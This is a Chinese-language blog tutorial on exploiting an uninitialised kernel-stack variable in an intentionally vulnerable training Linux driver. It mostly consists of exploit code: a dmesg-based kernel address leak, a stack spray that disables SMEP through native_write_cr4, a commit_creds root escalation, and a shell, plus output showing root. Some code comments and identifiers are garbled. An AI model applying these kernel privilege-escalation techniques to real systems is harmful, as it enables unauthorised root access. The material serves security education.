bsauce / 2019-09-16 09:00:53 / 浏览数 3107 安全技术 二进制安全 顶(0) 踩(0)

说明:实验所需的驱动源码、bzImage、cpio文件见<u>我的github</u>进行下载。本教程适合对漏洞提权有一定了解的同学阅读,具体可以看看我先知之前的文章,或者<u>我的简书</u>

## 一、漏洞分析

long fn\_arg;

```
1. 程序分析
```

```
总共两个驱动号,对应两个功能。
case UNINITIALISED_STACK_ALLOC:
         ret = copy_to_stack((char *)p_arg);
         break;
      case UNINITIALISED_STACK_USE:
          use_obj_args use_obj_arg;
          if(copy_from_user(&use_obj_arg, p_arg, sizeof(use_obj_args)))
             return -EINVAL;
          use_stack_obj(&use_obj_arg);
         break;
      }
第1个功能->UNINITIALISED_STACK_ALLOC
//
#define BUFF_SIZE 4096
noinline static int copy_to_stack(char __user *user_buff)
  {
      int ret;
      char buff[BUFF_SIZE];
      ret = copy_from_user(buff, user_buff, BUFF_SIZE);
      buff[BUFF_SIZE - 1] = 0;
      return ret;
  }
第2个功能-> UNINITIALISED_STACK_USE
//
noinline static void use_stack_obj(use_obj_args *use_obj_arg)
   {
      volatile stack_obj s_obj; //volatile
      if(use_obj_arg->option == 0)
          s_obj.fn = uninitialised_callback;
          s_obj.fn_arg = use_obj_arg->fn_arg;
      s_obj.fn(s_obj.fn_arg);
  }
// ==
  typedef struct stack_obj
      int do_callback;
```

```
void (*fn)(long);
      char buff[48];
  }stack_obj;
  typedef struct use_obj_args
      int option;
      long fn arg;
  }use_obj_args;
2. 漏洞分析
漏洞:只有(use_obj_arg->option == 0)时,才会初始化stack_obj对象。
利用:构造(use_obj_arg->option !=
0),产生内核栈变量未初始化引用错误。本驱动其实简化了漏洞利用过程,因为可以直接利用驱动号UNINITIALISED_STACK_ALLOC来布置内核栈,不需要考虑用系统调用
二、漏洞利用
1. 利用步骤
完整代码见exp_uninitialised_stack.c。
(1)单核执行
void force_single_core()
  cpu_set_t mask;
  CPU_ZERO(&mask);
  CPU_SET(0,&mask);
  if (sched_setaffinity(0,sizeof(mask),&mask))
      printf("[----] \ Error \ setting \ affinity \ to \ core0, \ continue \ anyway, \ exploit \ may \ fault \ \n");
  return;
(2)泄露内核基址
// step 2: II page_fault IIkernelIIIdmesgIIII/tmp/infoleakIIIII
  pid_t pid=fork();
  if (pid==0){
      do_page_fault();
      exit(0);
  int status;
  wait(&status); //
  //sleep(10);
  printf("[+] Begin to leak address by dmesg![+]\n");
  size_t kernel_base = get_info_leak()-sys_ioctl_offset;
  printf("[+] Kernel base addr : %p [+] \n", kernel_base);
(3) 关闭smep
利用UNINITIALISED_STACK_ALLOC功能在内核栈上布置目标函数和所需参数,这样在发生栈变量未初始化使用时就会触发执行目标函数。
// step 3: ■■smep
  char buf[4096];
  memset(buf, 0, sizeof(buf));
  struct use_obj_args use_obj={
      .option=1,
      .fn_arg=1337,
  };
  for (int i=0; i<4096; i+=16)
      memcpy(buf+i, &fake_cr4, 8); // ###fake_cr4#####
```

memcpy(buf+i+8, &native\_write\_cr4\_addr, 8); // ###native\_write\_cr4\_addr#####

}

```
ioctl(fd.UNINITIALISED STACK ALLOC, buf);
  ioctl(fd,UNINITIALISED STACK USE, &use obj);
(4)提权—commit creds(prepare kernel cred(0))
// step 4: *****get_root(); *****get_root()*******
  size_t get_root_addr = &get_root;
  memset(buf, 0, sizeof(buf));
  for (int i=0; i<4096; i+=8)
      memcpy(buf+i, &get_root_addr, 8);
  ioctl(fd,UNINITIALISED_STACK_ALLOC, buf);
  ioctl(fd,UNINITIALISED_STACK_USE, &use_obj);
(5)返回shell
// step 5: ■■shell
  if (getuid()==0)
      printf("[+] Congratulations! You get root shell !!! [+]\n");
      system("/bin/sh");
2. 利用结果
```

成功提权:

```
13.776107] Call Trace:
               [<ffffffffc0000030>] ? use_stack_obj+0x30/0x40 [vuln_driver]
   13.776107]
                <ffffffff812363c3>] ? __fd_install+0x33/0xe0
   13.776107]
               [<ffffffffc00002dd>] do ioctl+0x19d/0x4c0 [vuln driver]
   13.7761071
                <fffffffff8122b9e4>] do vfs_ioctl+0x2a4/0x4a0
   13.776107
   13.776107
                <fffffffff812276c4>] ? putname+0x54/0x60
                <fffffffff8121723f>] ? do_sys_open+0x1af/0x230
   13.776107
                [<fffffffff8122bc59>] SyS ioctl+0x79/0x90
    13.776107]
               [<ffffffff8183b1e5>] entry_SYSCALL_64_fastpath+0x22/0x99
    13.776107] Code: 95 2b 47 fd 7f 00 00 2b 00 00 00 00 00 00 00 00 90 87 0f 00
76 2f 76 75 6c 6e 65 72 61 62 6c 65 5f 64 65 76 69 63
    13.776107] RIP
                   [<ffff88000f87801c>] 0xffff88000f87801c
               RSP <ffff88000f89be20>
    13.776107]
    13.776107] CR2: ffff88000f87801c
   13.776107] ---[ end trace 46c8a0142b551bd1 ]---
 +] Begin to leak address by dmesg![+]
 +] Kernel base addr : 0xffffffff81000000 [+]
[+] We can get 3 important function address ![+]
       native write cr4 addr = 0xfffffffff81065a30
       prepare_kernel_cred_addr = 0xfffffffff810a6ca0
       commit_creds_addr = 0xfffffffff810a68b0
[+] Congratulations! You get root shell !!! [+]
/ # id
uid=0 gid=0
 # cat ./flag
this is a sample flag
/ #
```

## 参考:

https://invictus-security.blog/2017/06/

https://github.com/invictus-0x90/vulnerable\_linux\_driver

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